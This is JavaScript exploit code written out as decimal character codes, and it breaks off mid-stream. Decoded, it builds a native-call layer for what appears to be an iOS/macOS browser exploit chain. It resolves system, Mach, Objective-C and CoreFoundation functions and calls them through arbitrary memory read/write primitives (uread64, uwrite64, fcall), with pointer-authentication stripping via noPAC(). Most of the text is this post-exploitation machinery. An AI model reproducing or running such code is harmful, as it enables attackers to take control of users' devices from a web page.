101, 115, 111, 108, 118, 101, 40, 34, 101, 120, 105, 116, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 67, 72, 65, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 99, 104, 97, 114, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 80, 73, 68, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 112, 105, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 89, 83, 67, 65, 76, 76, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 121, 115, 99, 97, 108, 108, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 65, 76, 76, 79, 67, 65, 84, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 69, 82, 82, 79, 82, 95, 83, 84, 82, 73, 78, 71, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 101, 114, 114, 111, 114, 95, 115, 116, 114, 105, 110, 103, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 107, 73, 79, 77, 97, 115, 116, 101, 114, 80, 111, 114, 116, 68, 101, 102, 97, 117, 108, 116, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 73, 79, 77, 97, 115, 116, 101, 114, 80, 111, 114, 116, 68, 101, 102, 97, 117, 108, 116, 34, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 115, 115, 101, 114, 116, 40, 97, 44, 32, 98, 32, 61, 32, 34, 78, 47, 65, 34, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 33, 97, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 116, 104, 114, 111, 119, 32, 110, 101, 119, 32, 69, 114, 114, 111, 114, 40, 96, 97, 115, 115, 101, 114, 116, 32, 102, 97, 105, 108, 101, 100, 58, 32, 36, 123, 98, 125, 96, 41, 10, 32, 32, 32, 32, 125, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 69, 82, 82, 79, 82, 40, 97, 41, 32, 123, 32, 116, 104, 114, 111, 119, 32, 110, 101, 119, 32, 69, 114, 114, 111, 114, 40, 97, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 101, 119, 95, 117, 105, 110, 116, 54, 52, 95, 116, 40, 118, 97, 108, 32, 61, 32, 48, 110, 41, 10, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 117, 102, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 49, 110, 44, 32, 56, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 98, 117, 102, 44, 32, 118, 97, 108, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 98, 117, 102, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 48, 120, 50, 48, 51, 110, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 97, 108, 108, 111, 99, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 65, 76, 76, 79, 67, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 108, 108, 111, 99, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 76, 76, 79, 67, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 114, 101, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 82, 69, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 115, 101, 116, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 83, 69, 84, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 108, 101, 101, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 76, 69, 69, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 117, 115, 108, 101, 101, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 85, 83, 76, 69, 69, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 109, 112, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 77, 80, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 110, 99, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 78, 67, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 110, 112, 114, 105, 110, 116, 102, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 78, 80, 82, 73, 78, 84, 70, 44, 32, 98, 117, 102, 44, 32, 115, 105, 122, 101, 44, 32, 102, 109, 116, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 105, 110, 116, 102, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 73, 78, 84, 70, 44, 32, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 102, 109, 116, 41, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 108, 111, 115, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 76, 79, 83, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 120, 105, 116, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 69, 88, 73, 84, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 99, 104, 97, 114, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 67, 72, 65, 82, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 112, 105, 100, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 80, 73, 68, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 121, 115, 99, 97, 108, 108, 40, 110, 117, 109, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 89, 83, 67, 65, 76, 76, 44, 32, 110, 117, 109, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 118, 109, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 86, 77, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 101, 114, 114, 111, 114, 95, 115, 116, 114, 105, 110, 103, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 69, 82, 82, 79, 82, 95, 83, 84, 82, 73, 78, 71, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 97, 108, 108, 111, 99, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 65, 76, 76, 79, 67, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 108, 101, 116, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 32, 48, 110, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 40, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 61, 32, 48, 110, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 117, 116, 115, 110, 97, 109, 101, 32, 61, 32, 99, 97, 108, 108, 111, 99, 40, 50, 53, 54, 110, 44, 32, 53, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 102, 99, 97, 108, 108, 40, 85, 78, 65, 77, 69, 44, 32, 117, 116, 115, 110, 97, 109, 101, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 32, 61, 32, 117, 116, 115, 110, 97, 109, 101, 32, 43, 32, 40, 50, 53, 54, 110, 32, 42, 32, 52, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 103, 95, 100, 101, 118, 105, 99, 101, 95, 109, 97, 99, 104, 105, 110, 101, 59, 10, 125, 10, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 95, 73, 78, 73, 84, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 71, 69, 84, 67, 76, 65, 83, 83, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 79, 66, 74, 67, 95, 77, 83, 71, 83, 69, 78, 68, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 69, 76, 95, 82, 69, 71, 73, 83, 84, 69, 82, 78, 65, 77, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 67, 82, 69, 65, 84, 69, 77, 85, 84, 65, 66, 76, 69, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 67, 114, 101, 97, 116, 101, 77, 117, 116, 97, 98, 108, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 82, 69, 76, 69, 65, 83, 69, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 82, 101, 108, 101, 97, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 72, 79, 87, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 104, 111, 119, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 32, 32, 32, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 34, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 83, 116, 114, 105, 110, 103, 69, 110, 99, 111, 100, 105, 110, 103, 85, 84, 70, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 48, 120, 48, 56, 48, 48, 48, 49, 48, 48, 110, 59, 10, 108, 101, 116, 32, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 75, 101, 121, 67, 97, 108, 108, 66, 97, 99, 107, 115, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 75, 101, 121, 67, 97, 108, 108, 66, 97, 99, 107, 115, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 59, 10, 108, 101, 116, 32, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 86, 97, 108, 117, 101, 67, 97, 108, 108, 66, 97, 99, 107, 115, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 67, 70, 84, 121, 112, 101, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 86, 97, 108, 117, 101, 67, 97, 108, 108, 66, 97, 99, 107, 115, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 67, 114, 101, 97, 116, 101, 77, 117, 116, 97, 98, 108, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 67, 82, 69, 65, 84, 69, 77, 85, 84, 65, 66, 76, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 82, 69, 76, 69, 65, 83, 69, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 104, 111, 119, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 72, 79, 87, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 40, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 44, 32, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 40, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 95, 73, 78, 73, 84, 44, 32, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 99, 108, 97, 115, 115, 95, 110, 97, 109, 101, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 71, 69, 84, 67, 76, 65, 83, 83, 44, 32, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 99, 108, 97, 115, 115, 95, 110, 97, 109, 101, 41, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 77, 83, 71, 83, 69, 78, 68, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 99, 115, 116, 114, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 69, 76, 95, 82, 69, 71, 73, 83, 84, 69, 82, 78, 65, 77, 69, 44, 32, 99, 115, 116, 114, 41, 59, 32, 125, 10, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 58, 115, 101, 108, 101, 99, 116, 111, 114, 58, 111, 98, 106, 101, 99, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 107, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 118, 111, 107, 101, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 